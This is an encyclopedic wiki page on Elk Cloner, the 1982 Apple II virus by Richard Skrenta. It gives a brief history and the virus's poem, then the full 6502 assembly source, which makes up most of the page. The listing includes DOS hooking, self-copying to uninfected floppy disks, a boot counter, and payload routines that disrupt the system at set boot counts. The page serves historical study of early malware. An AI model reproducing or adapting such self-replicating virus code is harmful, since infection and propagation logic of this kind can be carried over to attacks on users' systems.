Self-Replicating Automata/List/Elk Cloner

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Introduction[edit | edit source]

Elk Cloner is the first known computer virus to spread in the wild. It infected Apple II systems and was written by Richard Skrenta in 1982. It spread by infecting Apple II floppy disks. It did not cause any intentional harm to data, and displayed the message on every 50th booting.


  Elk Cloner:  The program with a personality
 
  It will get on all your disks
    It will infiltrate your chips
      Yes it's Cloner!

  It will stick to you like glue
    It will modify ram too
      Send in the Cloner!

Source Code[edit | edit source]


	ORG $9000
VERSN	DFB $02 
HIMEM	LDA #$FF
	STA $4C
	LDA #$8F
	STA $4D
DOPTCH	LDA #$20 
	STA $A180  
	LDA #$5B 
	STA $A181 
	LDA #$A7 
	STA $A182 
RUNPTCH	LDA #$AD
	STA $A4D1
	LDA #$B6
	STA $A4D2
	LDA #$AA
	STA $A4D3
LODPTCH	LDA #$4C
	STA $A413 
	LDA #>LOD
	STA $A414 
	LDA #<LOD
	STA $A415 
BLDPTCH	LDA #$4C
	STA $A35D
	LDA #>BLOD
	STA $A35E
	LDA #<BLOD
	STA $A35F
CATPTCH	LDA #$4C
	STA $A56E
	LDA #>CATALOG 
	STA $A56F
	LDA #<CATALOG
	STA $A570
USRPTCH	LDA #$4C
	STA $0A
	LDA #>USRCMD 
	STA $0B
	LDA #<USRCMD 
	STA $0C
BOOTUP	CLD
	JSR READ 
	LDX $B3BF
	INX
	STX $B3BF
	JSR WRITE 
	JSR DESTROY
	JMP $A180 
TESTON	LDA #$00
	STA FLAG1
	LDA $AA68
	STA $B7EA
	JSR READ
	LDA $B3C2 
	CMP VERSN 
	BEQ TESTON1 
	LDA #$01
	STA FLAG1
TESTON1	RTS
LOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ LOD1
	JSR CLONE
LOD1	JSR $A316
	JMP $A416
BLOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ BLOD1
	JSR CLONE
BLOD1	JSR $A2A8
	JMP $A360
CATALOG	JSR TESTON
	LDA #$06
	JSR $A2AA
	LDA $B5BF
	STA $AA66
	LDA FLAG1
	CMP #$00
	BEQ RETURN
	JSR CLONE
RETURN	LDA #$0
	STA $B3BE
	STA $B3BF
	STA $B3C0
	RTS
CLONE	CLC
	JSR READ 
	LDA IDENT
	STA $B3C0
	LDA VERSN 
	STA $B3C2 
	JSR WRITE 
	LDA $AA68
	STA $B7EA
	LDA #$02
	STA $B7F4
	STA $B7EC
	LDA #$08
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$95
	STA $B7F1
CLONE1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE2
	RTS 
CLONE2	DEC $B7ED
	DEC $B7F1
	LDA $B7F1
	CMP #$8F
	BNE CLONE1
	LDA #$02
	STA $B7F1
	LDA #$01
	STA $B7F4
	STA $B7EC
	LDA #$0 
	STA $B7ED
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE3
	RTS 
CLONE3	LDA #$4C
	STA $280 
	LDA #$00
	STA $281 
	LDA #$9B
	STA $282 
	LDA #$02
	STA $B7F4
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE4
	RTS 
CLONE4	LDA #$0
	STA $B7EC
	LDA #$A
	STA $B7ED
	LDA #$95
	STA $B7F1
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD 
	RTS
READ	LDA #$01
	STA $B7F4
	JMP VTOC
WRITE	LDA #$02
	STA $B7F4
VTOC	LDA #$11
	STA $B7EC
	LDA #$0
	STA $B7ED
	LDA #$BB 
	STA $B7F0
	LDA #$B3
	STA $B7F1
	LDA #$0
	STA $B7EB
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD 
	RTS
PRINT	STY $FC
	STA $FD
	LDY #$00
PRINT0	LDA ($FC),Y 
	CMP #$00
	BEQ PRINT1
	JSR $FDED
	INY  
	JMP PRINT0
PRINT1	RTS
PRTMSG	LDY #>MSG
	LDA #<MSG
	JSR PRINT
PRTNUM	LDA IDENT
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
MSG	ASC 'ELK CLONER V2.0 # '
	DFB $0
IDENT	DFB $1
FLAG1	DFB $00
RET	RTS
USRCMD	JSR $E6FB
	CPX #$0B 
	BNE CMD2
	JSR PRTMSG
	RTS
CMD2	CPX #$0C 
	BNE CMD3
	LDY #>REPORT
	LDA #<REPORT
	JSR PRINT
	JSR READ 
	LDA $B3BF
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
CMD3	CPX #$0D 
	BNE CMD4
	JSR CLONE
	RTS
CMD4	CPX #$0A
	BNE USRERR
	JSR PRPOEM
	RTS
USRERR	LDY #>UERR
	LDA #<UERR
	JSR PRINT
	JSR $FBDD
	JMP $9DBF
UERR	DFB $8D 
	ASC 'ILLEGAL QUANTITY ERROR'
	DFB $0
PRPOEM	JSR $FC58
	LDY #>POEM
	LDA #<POEM
	JSR PRINT
	RTS
REPORT	ASC 'BOOT COUNT: ' 
	DFB $0 
POEM	ASC 'ELK CLONER:'
	DFB $8D,$8D 
	ASC '   THE PROGRAM WITH A PERSONALITY'
	DFB $8D,$8D,$8D 
	ASC 'IT WILL GET ON ALL YOUR DISKS'
	DFB $8D
	ASC 'IT WILL INFILTRATE YOUR CHIPS'
	DFB $8D
	ASC 'YES IT'
	DFB $A7
	ASC 'S CLONER!'
	DFB $8D,$8D
	ASC 'IT WILL STICK TO YOU LIKE GLUE'
	DFB $8D
	ASC 'IT WILL MODIFY RAM TOO'
	DFB $8D
	ASC 'SEND IN THE CLONER!'
	DFB $8D,$8D,$8D,$8D,$0 
IOERR	LDY #>ERRMSG
	LDA #<ERRMSG
	JSR PRINT
	JSR $FBDD 
	JMP $9DBF 
ERRMSG	DFB $8D,$8D 
	ASC 'I/O ERROR'
	DFB $8D,$00 
DESTROY	LDA $B3BF
	CMP #10 
	BNE DEST1
	LDA #$69 
	STA $3F2
	LDA #$FF 
	STA $3F3
	JSR $FB6F
	RTS
DEST1	CMP #15 
	BNE DEST2
	LDA #$3F
	STA $32
	RTS
DEST2	CMP #20 
	BNE DEST3
	LDA $C030
	LDA $C030
	LDA $C030
	RTS
DEST3	CMP #25 
	BNE DEST4
	LDA #$7F
	STA $32
	RTS
DEST4	CMP #30 
	BNE DEST5
	LDA #'I'
	STA $B3A7
	LDA #'T'
	STA $B3A8
	LDA #'B'
	STA $B3A9
	LDA #'A'
	STA $B3AA 
	RTS
DEST5	CMP #35 
	BNE DEST6
	LDA #$85
	STA $AAB2
	RTS
DEST6	CMP #40 
	BNE DEST7
	LDA #$00
	STA $3F2
	LDA #$03
	STA $3F3
	JSR $FB6F
	LDA #$4C
	STA $300
	LDA #$00
	STA $301
	LDA #$03
	STA $302
	RTS
DEST7	CMP #45 
	BNE DEST8
	LDA #$80
	STA $D6
	RTS
DEST8	CMP #50 
	BNE DEST9
	LDA #>PRPOEM
	STA $3F2
	LDA #<PRPOEM
	STA $3F3
	JSR $FB6F
	RTS
DEST9	CMP #55 
	BNE DEST10
	LDA #$FF
	STA $BDD3
	RTS
DEST10	CMP #60 
	BNE DEST11
	LDA #$20
	STA $BDD3
	RTS
DEST11	CMP #65 
	BNE DEST12
	LDA #$4C
	STA $A180
	LDA #$69
	STA $A181
	LDA #$FF
	STA $A182
	RTS
DEST12	CMP #70 
	BNE DEST13
	LDA #$10
	STA $BDD3
	RTS
DEST13	CMP #75 
	BNE DEST14
	JMP $C600
DEST14	CMP #76 
	BNE DEST15 
	JMP $C600
DEST15	CMP #77 
	BNE DEST16
	JMP $C600
DEST16	CMP #78 
	BNE DEST17
	JMP $C600
DEST17	CMP #79 
	BNE DEST18
	JSR READ 
	LDA #$00
	STA $B3BF
	JSR WRITE 
	RTS
DEST18	RTS
LOADER	ORG $9500
	LDA #$02 
	STA $B7EC 
	LDA #$01 
	STA $B7F4 
	LDA #$03
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$90
	STA $B7F1
LOAD1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	INC $B7ED
	INC $B7F1
	LDA $B7F1
	CMP #$96
	BCC LOAD1
	JMP HIMEM 

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